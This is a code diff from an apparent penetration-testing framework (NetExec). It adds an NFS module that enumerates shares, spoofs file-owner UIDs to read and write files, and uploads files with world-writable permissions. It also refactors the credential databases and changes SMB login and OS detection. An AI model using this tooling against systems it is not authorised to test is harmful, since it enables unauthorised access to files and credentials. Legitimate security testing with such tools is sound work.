# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
except Exception as e:
nxc_logger.debug(f"Error while closing session db object: {e}")
def clear_database(self):
for table in self.metadata.sorted_tables:
self.conn.execute(table.delete())
def add_host(self, ip, hostname, domain, os, instances):
"""
Check if this host has already been added to the database, if not, add it in.
@@ -107,7 +81,7 @@ class database:
hosts = []
q = select(self.HostsTable).filter(self.HostsTable.c.ip == ip)
results = self.conn.execute(q).all()
results = self.db_execute(q).all()
nxc_logger.debug(f"mssql add_host() - hosts returned: {results}")
host_data = {
@@ -142,7 +116,7 @@ class database:
q = Insert(self.HostsTable)
update_columns = {col.name: col for col in q.excluded if col.name not in "id"}
q = q.on_conflict_do_update(index_elements=self.HostsTable.primary_key, set_=update_columns)
self.conn.execute(q, hosts)
self.db_execute(q, hosts)
def add_credential(self, credtype, domain, username, password, pillaged_from=None):
"""Check if this credential has already been added to the database, if not add it in."""
@@ -165,7 +139,7 @@ class database:
func.lower(self.UsersTable.c.username) == func.lower(username),
func.lower(self.UsersTable.c.credtype) == func.lower(credtype),
)
results = self.conn.execute(q).all()
results = self.db_execute(q).all()
if not results:
user_data = {
@@ -176,13 +150,13 @@ class database:
"pillaged_from_hostid": pillaged_from,
}
q = insert(self.UsersTable).values(user_data) # .returning(self.UsersTable.c.id)
self.conn.execute(q) # .first()
self.db_execute(q) # .first()
else:
for user in results:
# might be able to just remove this if check, but leaving it in for now
if not user[3] and not user[4] and not user[5]:
q = update(self.UsersTable).values(credential_data) # .returning(self.UsersTable.c.id)
results = self.conn.execute(q) # .first()
results = self.db_execute(q) # .first()
nxc_logger.debug(f"add_credential(credtype={credtype}, domain={domain}, username={username}, password={password}, pillaged_from={pillaged_from})")
return user_rowid
@@ -193,12 +167,12 @@ class database:
for cred_id in creds_id:
q = delete(self.UsersTable).filter(self.UsersTable.c.id == cred_id)
del_hosts.append(q)
self.conn.execute(q)
self.db_execute(q)
def add_admin_user(self, credtype, domain, username, password, host, user_id=None):
if user_id:
q = select(self.UsersTable).filter(self.UsersTable.c.id == user_id)
users = self.conn.execute(q).all()
users = self.db_execute(q).all()
else:
q = select(self.UsersTable).filter(
self.UsersTable.c.credtype == credtype,
@@ -206,12 +180,12 @@ class database:
func.lower(self.UsersTable.c.username) == func.lower(username),
self.UsersTable.c.password == password,
)
users = self.conn.execute(q).all()
users = self.db_execute(q).all()
nxc_logger.debug(f"Users: {users}")
like_term = func.lower(f"%{host}%")
q = q.filter(self.HostsTable.c.ip.like(like_term))
hosts = self.conn.execute(q).all()
hosts = self.db_execute(q).all()
nxc_logger.debug(f"Hosts: {hosts}")
if users is not None and hosts is not None:
@@ -224,10 +198,10 @@ class database:
self.AdminRelationsTable.c.userid == user_id,
self.AdminRelationsTable.c.hostid == host_id,
)
links = self.conn.execute(q).all()
links = self.db_execute(q).all()
if not links:
self.conn.execute(insert(self.AdminRelationsTable).values(link))
self.db_execute(insert(self.AdminRelationsTable).values(link))
def get_admin_relations(self, user_id=None, host_id=None):
if user_id:
@@ -237,7 +211,7 @@ class database:
else:
q = select(self.AdminRelationsTable)
return self.conn.execute(q).all()
return self.db_execute(q).all()
def remove_admin_relation(self, user_ids=None, host_ids=None):
q = delete(self.AdminRelationsTable)
@@ -247,7 +221,7 @@ class database:
elif host_ids:
for host_id in host_ids:
q = q.filter(self.AdminRelationsTable.c.hostid == host_id)
self.conn.execute(q)
self.db_execute(q)
def is_credential_valid(self, credential_id):
"""Check if this credential ID is valid."""
@@ -255,7 +229,7 @@ class database:
self.UsersTable.c.id == credential_id,
self.UsersTable.c.password is not None,
)
results = self.conn.execute(q).all()
results = self.db_execute(q).all()
return len(results) > 0
def get_credentials(self, filter_term=None, cred_type=None):
@@ -273,12 +247,12 @@ class database:
else:
q = select(self.UsersTable)
return self.conn.execute(q).all()
return self.db_execute(q).all()
def is_host_valid(self, host_id):
"""Check if this host ID is valid."""
q = select(self.HostsTable).filter(self.HostsTable.c.id == host_id)
results = self.conn.execute(q).all()
results = self.db_execute(q).all()
return len(results) > 0
def get_hosts(self, filter_term=None, domain=None):
@@ -288,7 +262,7 @@ class database:
# if we're returning a single host by ID
if self.is_host_valid(filter_term):
q = q.filter(self.HostsTable.c.id == filter_term)
results = self.conn.execute(q).first()
results = self.db_execute(q).first()
# all() returns a list, so we keep the return format the same so consumers don't have to guess
return [results]
# if we're filtering by domain controllers
@@ -301,4 +275,4 @@ class database:
like_term = func.lower(f"%{filter_term}%")
q = select(self.HostsTable).filter(self.HostsTable.c.ip.like(like_term) | func.lower(self.HostsTable.c.hostname).like(like_term))
return self.conn.execute(q).all()
return self.db_execute(q).all()
+391
View File
@@ -0,0 +1,391 @@
from nxc.connection import connection
from nxc.logger import NXCAdapter
from nxc.helpers.logger import highlight
from pyNfsClient import Portmap, Mount, NFSv3, NFS_PROGRAM, NFS_V3, ACCESS3_READ, ACCESS3_MODIFY, ACCESS3_EXECUTE, NFSSTAT3
import re
import uuid
import math
import os
class nfs(connection):
def __init__(self, args, db, host):
self.protocol = "nfs"
self.port = 111
self.portmap = None
self.mnt_port = None
self.mount = None
self.auth = {
"flavor": 1,
"machine_name": uuid.uuid4().hex.upper()[0:6],
"uid": 0,
"gid": 0,
"aux_gid": [],
}
connection.__init__(self, args, db, host)
def proto_logger(self):
self.logger = NXCAdapter(
extra={
"protocol": "NFS",
"host": self.host,
"port": self.port,
"hostname": self.hostname,
}
)
def create_conn_obj(self):
"""Initializes and connects to the portmap and mounted folder"""
try:
# Portmap Initialization
self.portmap = Portmap(self.host, timeout=self.args.nfs_timeout)
self.portmap.connect()
# Mount Initialization
self.mnt_port = self.portmap.getport(Mount.program, Mount.program_version)
self.mount = Mount(host=self.host, port=self.mnt_port, timeout=self.args.nfs_timeout, auth=self.auth)
self.mount.connect()
# Change logging port to the NFS port
self.port = self.mnt_port
self.proto_logger()
except Exception as e:
self.logger.fail(f"Error during Initialization: {e}")
return False
return True
def enum_host_info(self):
try:
# Dump all registered programs
programs = self.portmap.dump()
self.nfs_versions = set()
for program in programs:
if program["program"] == NFS_PROGRAM:
self.nfs_versions.add(program["version"])
return self.nfs_versions
except Exception as e:
self.logger.debug(f"Error checking NFS version: {self.host} {e}")
def print_host_info(self):
self.logger.display(f"Target supported NFS versions: ({', '.join(str(x) for x in self.nfs_versions)})")
return True
def disconnect(self):
"""Disconnect mount and portmap if they are connected"""
try:
self.mount.disconnect()
self.portmap.disconnect()
self.logger.info(f"Disconnect successful: {self.host}:{self.port}")
except Exception as e:
self.logger.fail(f"Error during disconnect: {e}")
def list_dir(self, file_handle, path, recurse=1):
"""Process entries in NFS directory recursively with UID autodection"""
def process_entries(entries, path, uid, recurse):
try:
contents = []
for entry in entries:
if "name" in entry and entry["name"] not in [b".", b".."]:
item_path = f'{path}/{entry["name"].decode("utf-8")}' # Constructing file path
if entry.get("name_attributes", {}).get("present", False):
if entry["name_attributes"]["attributes"]["type"] == 2 and recurse > 0: # Recursive directory listing. Entry type shows file format. 1 is file, 2 is folder.
dir_handle = entry["name_handle"]["handle"]["data"]
contents += self.list_dir(dir_handle, item_path, recurse=recurse - 1)
else:
file_handle = entry["name_handle"]["handle"]["data"]
attrs = self.nfs3.getattr(file_handle, auth=self.auth)
file_size = attrs["attributes"]["size"]
file_size = convert_size(file_size)
uid = attrs["attributes"]["uid"]
read_perm, write_perm, exec_perm = self.get_permissions(entry["name_handle"]["handle"]["data"])
contents.append({"path": item_path, "read": read_perm, "write": write_perm, "execute": exec_perm, "filesize": file_size, "uid": uid})
if entry["nextentry"]:
# Processing next entries recursively
contents += process_entries(entry["nextentry"], path, uid, recurse)
return contents
except Exception as e:
self.logger.debug(f"Error on Listing Entries for NFS Shares: {self.host}:{self.port} {e}")
attrs = self.nfs3.getattr(file_handle, auth=self.auth)
self.auth["uid"] = attrs["attributes"]["uid"]
if recurse == 0:
read_perm, write_perm, exec_perm = self.get_permissions(file_handle)
return [{"path": f"{path}/", "read": read_perm, "write": write_perm, "execute": exec_perm, "filesize": "-", "uid": self.auth["uid"]}]
items = self.nfs3.readdirplus(file_handle, auth=self.auth)
if "resfail" in items:
raise Exception("Insufficient Permissions")
else:
entries = items["resok"]["reply"]["entries"]
return process_entries(entries, path, self.auth["uid"], recurse)
def export_info(self, export_nodes):
"""Enumerates all NFS shares and their access range"""
networks = []
for node in export_nodes:
# Collect the names of the groups associated with this export node
group_names = self.group_names(node.ex_groups)
networks.append(group_names)
# If there are more export nodes, process them recursively. More than one share.
if node.ex_next:
networks.extend(self.export_info(node.ex_next))
return networks
def group_names(self, groups):
"""Enumerates all access range of the share(s)"""
result = []
for group in groups:
result.append(group.gr_name.decode())
# If there are more IP's, process them recursively.
if group.gr_next:
result.extend(self.group_names(group.gr_next))
return result
def shares(self):
self.logger.display("Enumerating NFS Shares")
try:
# Connect to NFS
nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
self.nfs3.connect()
output_export = str(self.mount.export())
networks = self.export_info(self.mount.export())
reg = re.compile(r"ex_dir=b'([^']*)'") # Get share names
shares = list(reg.findall(output_export))
# Mount shares and check permissions
self.logger.highlight(f"{'UID':<11}{'Perms':<9}{'Storage Usage':<17}{'Share':<30} {'Access List':<15}")
self.logger.highlight(f"{'---':<11}{'-----':<9}{'-------------':<17}{'-----':<30} {'-----------':<15}")
for share, network in zip(shares, networks):
try:
mnt_info = self.mount.mnt(share, self.auth)
file_handle = mnt_info["mountinfo"]["fhandle"]
info = self.nfs3.fsstat(file_handle, self.auth)
free_space = info["resok"]["fbytes"]
total_space = info["resok"]["tbytes"]
used_space = total_space - free_space
# Autodetectting the uid needed for the share
attrs = self.nfs3.getattr(file_handle, auth=self.auth)
self.auth["uid"] = attrs["attributes"]["uid"]
read_perm, write_perm, exec_perm = self.get_permissions(file_handle)
self.mount.umnt(self.auth)
self.logger.highlight(f"{self.auth['uid']:<11}{'r' if read_perm else '-'}{'w' if write_perm else '-'}{('x' if exec_perm else '-'):<7}{convert_size(used_space)}/{convert_size(total_space):<9} {share:<30} {', '.join(network) if network else 'No network':<15}")
except Exception as e:
self.logger.fail(f"Failed to list share: {share} - {e}")
except Exception as e:
self.logger.fail(f"Error on Enumeration NFS Shares: {self.host}:{self.port} {e}")
finally:
self.nfs3.disconnect()
def get_permissions(self, file_handle):
"""Check permissions for the file handle"""
try:
read_perm = self.nfs3.access(file_handle, ACCESS3_READ, self.auth).get("resok", {}).get("access", 0) is ACCESS3_READ
except Exception:
read_perm = False
try:
write_perm = self.nfs3.access(file_handle, ACCESS3_MODIFY, self.auth).get("resok", {}).get("access", 0) is ACCESS3_MODIFY
except Exception:
write_perm = False
try:
exec_perm = self.nfs3.access(file_handle, ACCESS3_EXECUTE, self.auth).get("resok", {}).get("access", 0) is ACCESS3_EXECUTE
except Exception:
exec_perm = False
return read_perm, write_perm, exec_perm
def enum_shares(self):
try:
nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
self.nfs3.connect()
# Mounting NFS Shares
output_export = str(self.mount.export())
reg = re.compile(r"ex_dir=b'([^']*)'")
shares = list(reg.findall(output_export))
networks = self.export_info(self.mount.export())
self.logger.display("Enumerating NFS Shares Directories")
for share, network in zip(shares, networks):
try:
mount_info = self.mount.mnt(share, self.auth)
contents = self.list_dir(mount_info["mountinfo"]["fhandle"], share, self.args.enum_shares)
self.logger.success(share)
if contents:
self.logger.highlight(f"{'UID':<11}{'Perms':<9}{'File Size':<15}{'File Path':<45} {'Access List':<15}")
self.logger.highlight(f"{'---':<11}{'-----':<9}{'---------':<15}{'---------':<45} {'-----------':<15}")
for content in contents:
self.logger.highlight(f"{content['uid']:<11}{'r' if content['read'] else '-'}{'w' if content['write'] else '-'}{'x' if content['execute'] else '-':<7}{content['filesize']:<14} {content['path']:<45} {', '.join(network) if network else 'No network':<15}")
except Exception as e:
if "RPC_AUTH_ERROR: AUTH_REJECTEDCRED" in str(e):
self.logger.fail(f"{share} - RPC Access denied")
elif "RPC_AUTH_ERROR: AUTH_TOOWEAK" in str(e):
self.logger.fail(f"{share} - Kerberos authentication required")
elif "Insufficient Permissions" in str(e):
self.logger.fail(f"{share} - Insufficient Permissions for share listing")
else:
self.logger.exception(f"{share} - {e}")
except Exception as e:
self.logger.debug(f"Error on Listing NFS Shares Directories: {self.host}:{self.port} {e}")
self.logger.debug("It is probably unknown format or can not access as anonymously.")
finally:
self.nfs3.disconnect()
def get_file(self):
"""Downloads a file from the NFS share"""
remote_file_path = self.args.get_file[0]
remote_dir_path, file_name = os.path.split(remote_file_path)
local_file_path = self.args.get_file[1]
# Do a bit of smart handling for the local file path
if local_file_path.endswith("/"):
local_file_path += file_name
self.logger.display(f"Downloading {remote_file_path} to {local_file_path}")
try:
# Connect to NFS
nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
self.nfs3.connect()
# Mount the NFS share
mnt_info = self.mount.mnt(remote_dir_path, self.auth)
# Update the UID for the file
attrs = self.nfs3.getattr(mnt_info["mountinfo"]["fhandle"], auth=self.auth)
self.auth["uid"] = attrs["attributes"]["uid"]
dir_handle = mnt_info["mountinfo"]["fhandle"]
# Get the file handle and file size
dir_data = self.nfs3.lookup(dir_handle, file_name, auth=self.auth)
file_handle = dir_data["resok"]["object"]["data"]
# Handle files over the default chunk size of 1024 * 1024
offset = 0
eof = False
# Loop until we have read the entire file
with open(local_file_path, "wb+") as local_file:
while not eof:
file_data = self.nfs3.read(file_handle, offset, auth=self.auth)
if "resfail" in file_data:
raise Exception("Insufficient Permissions")
else:
# Get the data and append it to the total file data
data = file_data["resok"]["data"]
eof = file_data["resok"]["eof"]
# Update the offset to read the next chunk
offset += len(data)
# Write the file data to the local file
local_file.write(data)
self.logger.highlight(f"File successfully downloaded to {local_file_path} from {remote_file_path}")
# Unmount the share
self.mount.umnt(self.auth)
except Exception as e:
self.logger.fail(f'Error retrieving file "{file_name}" from "{remote_dir_path}": {e}')
if os.path.exists(local_file_path) and os.path.getsize(local_file_path) == 0:
os.remove(local_file_path)
def put_file(self):
"""Uploads a file to the NFS share"""
local_file_path = self.args.put_file[0]
remote_file_path = self.args.put_file[1]
file_name = ""
# Check if local file is exist
if not os.path.isfile(local_file_path):
self.logger.fail(f"{local_file_path} does not exist.")
return
# Do a bit of smart handling for the file paths
file_name = local_file_path.split("/")[-1] if "/" in local_file_path else local_file_path
if not remote_file_path.endswith("/"):
remote_file_path += "/"
self.logger.display(f"Uploading from {local_file_path} to {remote_file_path}")
try:
# Connect to NFS
nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
self.nfs3.connect()
# Mount the NFS share to create the file
mnt_info = self.mount.mnt(remote_file_path, self.auth)
dir_handle = mnt_info["mountinfo"]["fhandle"]
# Update the UID from the directory
attrs = self.nfs3.getattr(dir_handle, auth=self.auth)
self.auth["uid"] = attrs["attributes"]["uid"]
# Checking if file_name already exists on remote file path
lookup_response = self.nfs3.lookup(dir_handle, file_name, auth=self.auth)
# If success, file_name does not exist on remote machine. Else, trying to overwrite it.
if lookup_response["resok"] is None:
# Create file
self.logger.display(f"Trying to create {remote_file_path}{file_name}")
res = self.nfs3.create(dir_handle, file_name, create_mode=1, mode=0o777, auth=self.auth)
if res["status"] != 0:
raise Exception(NFSSTAT3[res["status"]])
else:
file_handle = res["resok"]["obj"]["handle"]["data"]
self.logger.success(f"{file_name} successfully created")
else:
# Asking the user if they want to overwrite the file
ans = input(highlight(f"[!] {file_name} already exists on {remote_file_path}. Do you want to overwrite it? [Y/n] ", "red"))
if ans.lower() in ["y", "yes", ""]:
self.logger.display(f"{file_name} already exists on {remote_file_path}. Trying to overwrite it...")
file_handle = lookup_response["resok"]["object"]["data"]
else:
self.logger.fail(f"Uploading was not successful. The {file_name} is exist on {remote_file_path}")
return
try:
with open(local_file_path, "rb") as file:
file_data = file.read().decode()
# Write the data to the remote file
self.logger.display(f"Trying to write data from {local_file_path} to {remote_file_path}")
self.nfs3.write(file_handle, 0, len(file_data), file_data, 1, auth=self.auth)
self.logger.success(f"Data from {local_file_path} successfully written to {remote_file_path}")
except Exception as e:
self.logger.fail(f"Could not write to {local_file_path}: {e}")
# Unmount the share
self.mount.umnt(self.auth)
except Exception as e:
self.logger.fail(f"Error writing file to share {remote_file_path}: {e}")
else:
self.logger.highlight(f"File {local_file_path} successfully uploaded to {remote_file_path}")
def convert_size(size_bytes):
if size_bytes == 0:
return "0B"
size_name = ("B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB")
i = int(math.floor(math.log(size_bytes, 1024)))
p = math.pow(1024, i)
s = round(size_bytes / p, 1)
return f"{s}{size_name[i]}"
View File
Whitespace-only changes.
+70
View File
@@ -0,0 +1,70 @@
from sqlalchemy import Table
from sqlalchemy.exc import (
NoInspectionAvailable,
NoSuchTableError,
)
from nxc.database import BaseDB
import sys
class database(BaseDB):
def __init__(self, db_engine):
self.CredentialsTable = None
self.HostsTable = None
self.LoggedinRelationsTable = None
self.SharesTable = None
super().__init__(db_engine)
@staticmethod
def db_schema(db_conn):
db_conn.execute(
"""CREATE TABLE "credentials" (
"id" integer PRIMARY KEY,
"username" text,
"password" text
)"""
)
db_conn.execute(
"""CREATE TABLE "hosts" (
"id" integer PRIMARY KEY,
"ip" text,
"hostname" text,
"port" integer
)"""
)
db_conn.execute(
"""CREATE TABLE "loggedin_relations" (
"id" integer PRIMARY KEY,
"cred_id" integer,
"host_id" integer,
FOREIGN KEY(cred_id) REFERENCES credentials(id),
FOREIGN KEY(host_id) REFERENCES hosts(id)
)"""
)
db_conn.execute(
"""CREATE TABLE "shares" (
"id" integer PRIMARY KEY,
"lir_id" integer,
"data" text,
FOREIGN KEY(lir_id) REFERENCES loggedin_relations(id)
)"""
)
def reflect_tables(self):
with self.db_engine.connect():
try:
self.CredentialsTable = Table("credentials", self.metadata, autoload_with=self.db_engine)
self.HostsTable = Table("hosts", self.metadata, autoload_with=self.db_engine)
self.LoggedinRelationsTable = Table("loggedin_relations", self.metadata, autoload_with=self.db_engine)
self.SharesTable = Table("shares", self.metadata, autoload_with=self.db_engine)
except (NoInspectionAvailable, NoSuchTableError):
print(
f"""
[-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
[-] This is probably because a newer version of nxc is being run on an old DB schema
[-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
[-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
)
sys.exit()
+15
View File
@@ -0,0 +1,15 @@
from nxc.nxcdb import DatabaseNavigator, print_help
class navigator(DatabaseNavigator):
def do_clear_database(self, line):
if input("This will destroy all data in the current database, are you SURE you want to run this? (y/n): ") == "y":
self.db.clear_database()
def help_clear_database(self):
help_string = """
clear_database
THIS COMPLETELY DESTROYS ALL DATA IN THE CURRENTLY CONNECTED DATABASE
YOU CANNOT UNDO THIS COMMAND
"""
print_help(help_string)
+12
View File
@@ -0,0 +1,12 @@
def proto_args(parser, parents):
nfs_parser = parser.add_parser("nfs", help="own stuff using NFS", parents=parents)
nfs_parser.add_argument("--port", type=int, default=111, help="NFS portmapper port (default: %(default)s)")
nfs_parser.add_argument("--nfs-timeout", type=int, default=30, help="NFS connection timeout (default: %(default)ss)")
dgroup = nfs_parser.add_argument_group("NFS Mapping/Enumeration", "Options for Mapping/Enumerating NFS")
dgroup.add_argument("--shares", action="store_true", help="List NFS shares")
dgroup.add_argument("--enum-shares", nargs="?", type=int, const=3, help="Authenticate and enumerate exposed shares recursively (default depth: %(const)s)")
dgroup.add_argument("--get-file", nargs=2, metavar="FILE", help="Download remote NFS file. Example: --get-file remote_file local_file")
dgroup.add_argument("--put-file", nargs=2, metavar="FILE", help="Upload remote NFS file with chmod 777 permissions to the specified folder. Example: --put-file local_file remote_file")
return parser
+2 -2
View File
@@ -109,7 +109,7 @@ class rdp(connection):
def print_host_info(self):
nla = colored(f"nla:{self.nla}", host_info_colors[3], attrs=["bold"]) if self.nla else colored(f"nla:{self.nla}", host_info_colors[2], attrs=["bold"])
if self.domain is None:
self.logger.display("Probably old, doesn't not support HYBRID or HYBRID_EX ({nla})")
self.logger.display(f"Probably old, doesn't not support HYBRID or HYBRID_EX ({nla})")
else:
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain}) ({nla})")
return True
@@ -181,7 +181,7 @@ class rdp(connection):
credentials=self.auth,
)
asyncio.run(self.connect_rdp())
if str(proto) == "SUPP_PROTOCOLS.RDP" or str(proto) == "SUPP_PROTOCOLS.SSL" or str(proto) == "SUPP_PROTOCOLS.SSL|SUPP_PROTOCOLS.RDP":
if proto.value == SUPP_PROTOCOLS.RDP or proto.value == SUPP_PROTOCOLS.SSL or proto.value == SUPP_PROTOCOLS.SSL | SUPP_PROTOCOLS.RDP:
self.nla = False
return
except Exception:
+6 -30
View File
@@ -1,31 +1,20 @@
from pathlib import Path
import sys
from sqlalchemy.orm import sessionmaker, scoped_session
from sqlalchemy import MetaData, Table
from sqlalchemy import Table
from sqlalchemy.exc import (
# IllegalStateChangeError,
NoInspectionAvailable,
NoSuchTableError,
)
from nxc.logger import nxc_logger
import sys
from nxc.database import BaseDB
class database:
class database(BaseDB):
def __init__(self, db_engine):
self.CredentialsTable = None
self.HostsTable = None
self.db_engine = db_engine
self.db_path = self.db_engine.url.database
self.protocol = Path(self.db_path).stem.upper()
self.metadata = MetaData()
self.reflect_tables()
session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True)
Session = scoped_session(session_factory)
# this is still named "conn" when it is the session object; TODO: rename
self.conn = Session()
super().__init__(db_engine)
@staticmethod
def db_schema(db_conn):
@@ -62,16 +51,3 @@ class database:
[-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
)
sys.exit()
def shutdown_db(self):
try:
self.conn.close()
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
except Exception as e:
nxc_logger.debug(f"Error while closing session db object: {e}")
def clear_database(self):
for table in self.metadata.sorted_tables:
self.conn.execute(table.delete())
+228 -64
View File
@@ -14,7 +14,7 @@ from impacket.examples.secretsdump import (
NTDSHashes,
)
from impacket.nmb import NetBIOSError, NetBIOSTimeout
from impacket.dcerpc.v5 import transport, lsat, lsad, scmr
from impacket.dcerpc.v5 import transport, lsat, lsad, scmr, rrp
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5.transport import DCERPCTransportFactory, SMBTransport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
@@ -27,6 +27,7 @@ from impacket.krb5 import constants
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, IWbemLevel1Login
from impacket.smb3structs import FILE_SHARE_WRITE, FILE_SHARE_DELETE
from nxc.config import process_secret, host_info_colors
from nxc.connection import connection, sem, requires_admin, dcom_FirewallChecker
@@ -147,6 +148,9 @@ class smb(connection):
def __init__(self, args, db, host):
self.domain = None
self.server_os = None
self.server_os_major = None
self.server_os_minor = None
self.server_os_build = None
self.os_arch = 0
self.hash = None
self.lmhash = ""
@@ -161,6 +165,7 @@ class smb(connection):
self.no_da = None
self.no_ntlm = False
self.protocol = "SMB"
self.is_guest = None
connection.__init__(self, args, db, host)
@@ -211,6 +216,7 @@ class smb(connection):
if "STATUS_NOT_SUPPORTED" in str(e):
# no ntlm supported
self.no_ntlm = True
self.logger.debug("NTLM not supported")
# self.domain is the attribute we authenticate with
# self.targetDomain is the attribute which gets displayed as host domain
@@ -220,8 +226,20 @@ class smb(connection):
if not self.targetDomain: # Not sure if that can even happen but now we are safe
self.targetDomain = self.hostname
else:
self.hostname = self.host
self.targetDomain = self.hostname
# If we can't authenticate with NTLM and the target is supplied as a FQDN we must parse it
try:
import socket
socket.inet_aton(self.host)
self.logger.debug("NTLM authentication not available! Authentication will fail without a valid hostname and domain name")
self.hostname = self.host
self.targetDomain = self.host
except OSError:
if self.host.count(".") >= 1:
self.hostname = self.host.split(".")[0]
self.targetDomain = ".".join(self.host.split(".")[1:])
else:
self.hostname = self.host
self.targetDomain = self.host
self.domain = self.targetDomain if not self.args.domain else self.args.domain
@@ -229,7 +247,23 @@ class smb(connection):
self.domain = self.hostname
self.targetDomain = self.hostname
self.server_os = self.conn.getServerOS()
# As of June 2024 Samba will always report the version as "Windows 6.1", apparently due to a bug https://stackoverflow.com/a/67577401/17395725
# Together with the reported build version "0" by Samba we can assume that it is a Samba server. Windows should always report a build version > 0
# Also only on Windows we should get an OS arch as for that we would need MSRPC
try:
self.server_os = self.conn.getServerOS()
self.server_os_major = self.conn.getServerOSMajor()
self.server_os_minor = self.conn.getServerOSMinor()
self.server_os_build = self.conn.getServerOSBuild()
except KeyError:
self.logger.debug("Error getting server information...")
if "Windows 6.1" in self.server_os and self.server_os_build == 0 and self.os_arch == 0:
self.server_os = "Unix - Samba"
elif self.server_os_build == 0 and self.os_arch == 0:
self.server_os = "Unix"
self.logger.debug(f"Server OS: {self.server_os} {self.server_os_major}.{self.server_os_minor} build {self.server_os_build}")
self.logger.extra["hostname"] = self.hostname
if isinstance(self.server_os.lower(), bytes):
@@ -243,21 +277,24 @@ class smb(connection):
self.os_arch = self.get_os_arch()
self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-"))
self.db.add_host(
self.host,
self.hostname,
self.domain,
self.server_os,
self.smbv1,
self.signing,
)
try:
self.db.add_host(
self.host,
self.hostname,
self.domain,
self.server_os,
self.smbv1,
self.signing,
)
except Exception as e:
self.logger.debug(f"Error adding host {self.host} into db: {e!s}")
try:
# DCs seem to want us to logoff first, windows workstations sometimes reset the connection
self.conn.logoff()
except Exception as e:
self.logger.debug(f"Error logging off system: {e}")
# DCOM connection with kerberos needed
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
@@ -266,6 +303,10 @@ class smb(connection):
self.kdcHost = result["host"] if result else None
self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
# If we want to authenticate we should create another connection object, because we already logged in
if self.args.username or self.args.cred_id or self.kerberos or self.args.use_kcache:
self.create_conn_obj()
def print_host_info(self):
signing = colored(f"signing:{self.signing}", host_info_colors[0], attrs=["bold"]) if self.signing else colored(f"signing:{self.signing}", host_info_colors[1], attrs=["bold"])
smbv1 = colored(f"SMBv1:{self.smbv1}", host_info_colors[2], attrs=["bold"]) if self.smbv1 else colored(f"SMBv1:{self.smbv1}", host_info_colors[3], attrs=["bold"])
@@ -273,10 +314,7 @@ class smb(connection):
return True
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
logging.getLogger("impacket").disabled = True
# Re-connect since we logged off
self.logger.debug(f"KDC set to: {kdcHost}")
self.create_conn_obj()
lmhash = ""
nthash = ""
@@ -310,7 +348,8 @@ class smb(connection):
self.logger.debug(f"Got TGS for {self.args.delegate} through S4U")
self.conn.kerberosLogin(self.username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache, TGS=tgs)
self.check_if_admin()
if "Unix" not in self.server_os:
self.check_if_admin()
if username == "":
self.username = self.conn.getCredentials()[0]
@@ -333,9 +372,7 @@ class smb(connection):
if self.args.continue_on_success and self.signing:
with contextlib.suppress(Exception):
self.conn.logoff()
self.create_conn_obj()
return True
except SessionKeyDecryptionError:
# success for now, since it's a vulnerability - previously was an error
@@ -368,37 +405,32 @@ class smb(connection):
def plaintext_login(self, domain, username, password):
# Re-connect since we logged off
self.create_conn_obj()
try:
self.password = password
self.username = username
self.domain = domain
self.conn.login(self.username, self.password, domain)
self.logger.debug(f"Logged in with password to SMB with {domain}/{self.username}")
self.is_guest = bool(self.conn.isGuestSession())
self.logger.debug(f"{self.is_guest=}")
if "Unix" not in self.server_os:
self.check_if_admin()
self.check_if_admin()
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
self.db.add_credential("plaintext", domain, self.username, self.password)
user_id = self.db.get_credential("plaintext", domain, self.username, self.password)
host_id = self.db.get_hosts(self.host)[0].id
self.db.add_loggedin_relation(user_id, host_id)
out = f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}"
out = f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_guest()}{self.mark_pwned()}"
self.logger.success(out)
if not self.args.local_auth and self.username != "":
add_user_bh(self.username, self.domain, self.logger, self.config)
if self.admin_privs:
self.logger.debug(f"Adding admin user: {self.domain}/{self.username}:{self.password}@{self.host}")
self.db.add_admin_user(
"plaintext",
domain,
self.username,
self.password,
self.host,
user_id=user_id,
)
self.db.add_admin_user("plaintext", domain, self.username, self.password, self.host, user_id=user_id)
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
# check https://github.com/byt3bl33d3r/CrackMapExec/issues/321
@@ -418,14 +450,15 @@ class smb(connection):
return False
except (ConnectionResetError, NetBIOSTimeout, NetBIOSError) as e:
self.logger.fail(f"Connection Error: {e}")
self.create_conn_obj()
return False
except BrokenPipeError:
self.logger.fail("Broken Pipe Error while attempting to login")
self.create_conn_obj()
return False
